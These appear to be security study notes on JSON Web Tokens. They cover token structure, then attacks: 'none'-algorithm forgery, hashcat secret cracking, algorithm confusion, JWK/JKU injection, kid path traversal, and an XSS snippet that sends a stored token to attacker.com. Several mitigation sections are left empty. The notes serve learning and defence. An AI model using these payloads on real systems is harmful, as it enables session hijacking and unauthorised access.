8a. JWT

1. JWT (JSON Web Token) Overview

JWT (JSON Web Token) is a compact, URL-safe token format used for stateless authentication between two parties. It is commonly used for API authentication, single sign-on (SSO), and authorization mechanisms.

1.1 JWT Structure

A JWT consists of three parts, encoded in Base64:

Header.Payload.Signature

Example JWT:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJIVEItQWNhZGVteSIsInVzZXIiOiJhZG1pbiIsImlzQWRtaW4iOnRydWV9.Chnhj-ATkcOfjtn8GCHYvpNE-9dmlhKTCUwl6pxTZEA
Component Description
Header Contains the algorithm (alg) used for signing and the type (typ), which is typically JWT.
Payload Stores claims, such as user ID, roles, and expiration.
Signature Used to verify the token's integrity, preventing tampering.

1.2 Stateful vs. Stateless Authentication

Feature Stateful Authentication Stateless Authentication
Session Management Server stores session state (e.g., session ID in a database). Client stores session state (e.g., JWT contains all user data).
Scalability Less scalable (requires centralized session storage). Highly scalable (no need for centralized session storage).
Performance Requires database lookups for each request. Faster (no DB lookup, token is self-contained).
Storage Sessions stored on the server (DB, Redis, etc.). Tokens stored on the client (localStorage, cookies, etc.).
Session Expiry Controlled by server (session invalidation possible). Token expiry is fixed; cannot be invalidated once issued.
Security More secure (tokens not exposed). Requires extra security (e.g., token revocation, signing).
Use Cases Web applications with persistent user sessions. API authentication, microservices, mobile apps.

Mitigation for Stateless Authentication Risks:

1.3 JWT Signing & Algorithms

Type Algorithm Security Notes
Symmetric HS256, HS384, HS512 Uses a single secret key for signing and verification. If the secret key is leaked, anyone can forge valid tokens.
Asymmetric RS256, RS384, RS512 Uses a private key to sign and a public key to verify. More secure but requires proper key management.

2. JWT Attack Vectors

2.1 Attacking Signature Verification

Goal: Modify JWT payloads to escalate privileges or bypass security mechanisms.

Attack 1: The none Algorithm Vulnerability

If a web application accepts none as a valid signing algorithm, an attacker can remove the signature and modify the payload.

Exploitation:

Modify the JWT header:

{
  "alg": "none",
  "typ": "JWT"
}

Use jwt.io or CyberChef to remove the signature and send the modified token:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJIVEItQWNhZGVteSIsInVzZXIiOiJhZG1pbiIsImlzQWRtaW4iOnRydWV9.

Mitigation: Always enforce strong algorithms (e.g., RS256) and reject none in production.


2.2 Brute-Forcing the JWT Secret

Goal: Attack HS256, HS384, or HS512 tokens by guessing the secret.

Exploitation:

  1. Extract the token from a request.
  2. Use hashcat to brute-force the secret:
hashcat -m 16500 jwt.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
  1. Forge a new token using the cracked secret.

Mitigation:


2.3 Algorithm Confusion Attack

Goal: If a server dynamically selects the verification algorithm based on alg, an attacker can trick it into using RS256 with an attacker-controlled key.

Exploitation Steps:

  1. Change the alg to RS256.
  2. Forge a fake public key and sign the JWT with it.
  3. If the server does not check key validity, it will accept the attacker's signature.

Mitigation:


2.4 Exploiting JWT Key Management

JWTs support JSON Web Keys (JWKs) for key verification. If an application improperly processes jwk or jku, attackers can abuse this.

Attack Description
JWK Injection Injecting a malicious public key via the jwk claim.
JKU Exploitation Hosting a fake key server to inject attacker-controlled keys.
Key ID (kid) Abuse Using path traversal (../../etc/passwd) to load arbitrary files as keys.

Mitigation:


3. Further JWT Exploits

graph TD
	A[More attacks] --> B[Reusing JWT secrets]
	A --> C[Exploiting JWK]
	A --> D[Exploiting JKU]
	A --> E[Key ID `kid` Injection]
Attack Description Example
Reusing JWT Secrets If multiple apps share the same secret, a token from one app may work on another. Use a valid JWT from one system to access another.
JWK Injection Modifying the jwk header to accept an attacker's key. Generate custom keys using OpenSSL.
JKU Exploitation Hosting a fake key store to inject malicious verification keys. Redirect key lookup to an attacker-controlled server.
KID Injection Path traversal in kid to load sensitive files. "kid": "../../../../etc/passwd"

4. Tools and Prevention

Tool Function
jwt_tool Brute-force secrets, analyze tokens.
Burp Suite JWT Plugin Automated JWT security testing.
jwt-cracker Crack weak HS256 secrets.
jwt_scan.py Scan and analyze JWT vulnerabilities.

Best Practices for Secure JWT Implementation:

  1. Use RS256 instead of HS256 for better key management.
  2. Validate JWTs against a whitelist of issuers (iss) and audiences (aud).
  3. Enforce short-lived tokens (exp should be properly set).
  4. Do not accept unsigned (none) or weakly signed tokens.
  5. Rotate secrets regularly to reduce long-term exposure.

5. Example Exploits & Fixes

Example: JWT Token Theft via XSS

If a web application stores JWTs in localStorage, attackers can steal them via Cross-Site Scripting (XSS):

<script>
fetch('https://attacker.com/steal?jwt=' + document.localStorage.getItem('token'));
</script>

Fix: Store JWTs in HttpOnly cookies.


Example: JWT Replay Attack

If a JWT does not expire (exp), an attacker who steals it can reuse it indefinitely.

Fix: